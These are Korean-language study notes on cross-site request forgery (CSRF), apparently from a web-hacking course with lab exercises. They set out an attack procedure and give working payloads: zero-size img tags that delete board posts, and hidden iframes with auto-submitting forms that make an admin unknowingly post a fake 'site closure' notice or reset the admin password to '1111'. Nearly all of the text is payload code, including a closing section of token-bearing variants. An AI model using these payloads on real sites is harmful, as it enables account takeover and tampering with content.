CSRF
CSRF 공격방법
1. referer 체크
> referer header를 삭제 후 서버가 요청이 발생한 위치를 체크하는지 확인
2. 요청이 발생한 위치를 체키하지 않는다면 요청 메소드 확인(get, post)
> get인 경우 script 없이 자동 요청 코드 작성 가능
> post인 경우 script 사용하여 자동 요청 코드 작성 가능
3. 자동 요청 코드 작성
> 변경하고자 하는 값이 어떻게 전달되는지 분석 후 코드 작성
4. 공격 대상에게 전달
> stored(웹서버 게시판 같은 기능을 사용하여 몰래 저장)
> 자동 요청 코드를 reflected 형태의 공격이 가능한 injeection vector를 사용
CSFR 공격
<img width="0" height="0" src="http://www.a.com/nick_proc.php?nickname=hack"></img>test
연습1
guest 계정을 사용하는 해커는 admin 관리자가 작성해놓은 공지사항글을 삭제하고 싶다.
하지만 권한이 없어 삭제가 불가능하다.
!CSRF 공격코드를 작성하여 공지사항글을 삭제!
> 해커는 '관리자님 도와주세요'라는 제목의 글을 등록
> 해당 글을 읽으면 '해결되었습니다.'라는 글 내용이 출력
> 이때 해커가 입력해놓은 CSRF 공격 코드에 의해 공지사항 글이 삭제
> 해커 글 등록 후 관리자쪽에서 해당 글 읽어야함!
<img width="0" height="0" src="http://www.a.com/board_del.php?no=54"></img>해결완료!!!
등록 후 관리자로 로그인해서 해당 게시글 클릭하면 공지사항 삭제됨
- post메소드인 경우 전달 값이 포함되는 form을 복사하여 원하는 값을 셋팅
> 아래 소스코드에 있는 <form> 부분을 사용한다.
<!DOCTYPE html>
<html>
<head>
<title>csrf post7</title>
</head>
<body>
<pre>
제목 : csrf post7
내용 : <iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="nick_proc.php" target="i">
<input type="hidden" name="nickname" value="hack">
</form>
<script>document.getElementById("f").submit();</script>
작성자 : guest
등록일 : 2022-10-12 15:04:26
</pre>
</body>
</html>
http://www.a.com/board_insert.php
subject=test&content=1111
연습1
자동 글 올리기
공격자가 '관리자님 도와주세요!!"라는 글 게시
관리자가 글을 읽으면 자신도 모르게 자신의 이름으로 "제목 : 사이트폐쇄, 내용: 우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다." 라는 글이 등록
Tip: textarea 는 type=text와 같음
풀이1
<iframe width="0" height="0" name="i"></iframe>
> iframe : 페이지 영역을 나눌수 있는 기능
> name : iframe 이름 지정
<form id="f" method="post" action="board_insert.php" target="i">
> id : form을 선택할 수 있도록 id 지정
> target : 폼의 응답을 특정 프레임으로 지정해서 넘길수 있는 기능
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>
> 자동으로 요청을 보내기 위해 script를 사용한다.
> document : 현재 페이지 선택
> . : 선택한 페이지 내에서
> getElementById("?") : id를 읽겠다.
(form 코드는 게시판 소스코드에서 가져옴)
연습2
공격자가 등록한 글을 읽으면 관리자 계정의 비밀번호가 공격자가 원하는 비밀번호로 변경되도록하는 CSRF 공격코드를 작성하시오
제목 : 관리자님 도와주세요2
내용 : 이제 관리자는 내꺼다.
관리자가 글을 읽으면 관리자의 비번이 설정한 비번으로 변경됨
http://www.a.com/member_update.php
pass=1111&pass_re=1111&name=1&nickname=1&mobile=1&email=1&address=1
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>
CSRF 보안
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
<input type="hidden" name="anticsrftoken" value="d7c283937c089163055d5a964fe868a3"
</form>
<script>document.getElementById("f").submit();</script>
<iframe width="0" height="0" name="i"></iframe>
<form method="post" action="nick_proc.php" target="i" id="f">
<input type="hidden" name="nickname" value="hack">
<input type="hidden" name="anticsrftoken" value="85b8b476328704f51ce0aacacac30735">
</form><script>document.getElementById("f").submit();</script>
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="BTS_board.php" target="i">
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>
<img width="0" height="0" src="http://www.mario-ent.com/board_del.php?no=24"></img>해결완료!
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" id="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>